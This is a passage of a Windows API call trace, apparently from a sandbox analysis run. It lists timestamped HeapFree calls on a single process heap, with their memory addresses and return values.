	[0186.740] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0186.741] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0186.741] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0186.744] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0186.744] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0186.745] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0186.746] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0186.746] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0186.751] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0186.752] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.058] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0187.058] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.060] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0187.061] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0187.062] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.062] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.062] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0187.069] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.070] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0187.073] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0187.074] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.075] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0187.078] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.078] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.079] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0187.081] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.081] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.083] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.083] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.084] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0187.084] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x441a340 | out: hHeap=0x610000) returned 1
	[0187.085] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4489f98 | out: hHeap=0x610000) returned 1
	[0187.085] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3df0950 | out: hHeap=0x610000) returned 1
	[0187.087] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0187.095] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.095] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.400] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.401] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0187.402] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0187.405] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.405] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0187.554] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.555] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0187.557] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0187.558] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0187.558] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0187.559] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0187.559] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0187.564] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0187.564] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0187.565] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0187.565] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0187.565] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0187.567] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0187.567] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0187.568] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0187.568] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0187.574] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0187.574] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0187.581] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0187.582] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0187.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.698] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.698] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.698] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.698] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.699] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.700] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.700] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.700] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.700] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0187.714] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.718] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.718] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.718] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.721] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.726] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.726] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.734] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.734] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.734] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.846] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.846] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.847] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.847] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0187.855] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.856] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.857] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.858] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.859] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.860] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.861] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.862] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.862] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.863] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.864] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.865] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.866] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.867] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.868] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.869] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.869] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.869] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.870] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.873] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.874] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.874] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.875] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.875] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.876] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.876] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.877] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.878] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.878] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.879] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.879] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.879] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.880] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.880] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.880] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0187.880] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0187.881] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0187.884] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0187.888] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.889] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0187.985] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.093] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.208] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.209] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.210] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.211] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.212] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.212] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.213] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.216] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.217] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.218] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.218] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.252] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.253] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.253] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.254] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.255] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.255] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.256] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.257] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.258] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.258] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.259] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.259] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.260] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.260] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.261] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.261] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.261] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.262] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.262] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0188.262] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.262] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0188.262] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0188.270] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.273] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.273] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.274] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.274] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.275] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.276] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.277] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.278] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.278] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.279] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.280] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.281] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.282] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.545] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.546] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.547] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.548] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.549] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.549] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.550] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.551] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.555] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.556] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.557] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.558] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.558] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.559] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.559] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.560] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.560] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.560] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.561] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.561] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.561] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0188.561] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0188.562] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0188.566] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.566] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0188.567] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.567] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0188.567] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0188.567] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0188.573] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.579] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0188.579] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0188.579] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0188.583] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0188.584] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0188.584] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0188.585] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0188.586] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0188.587] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0188.587] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0188.588] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0188.589] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0188.590] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0188.590] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0188.591] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0188.591] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.027] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.028] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.030] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.030] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.031] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.032] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.033] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
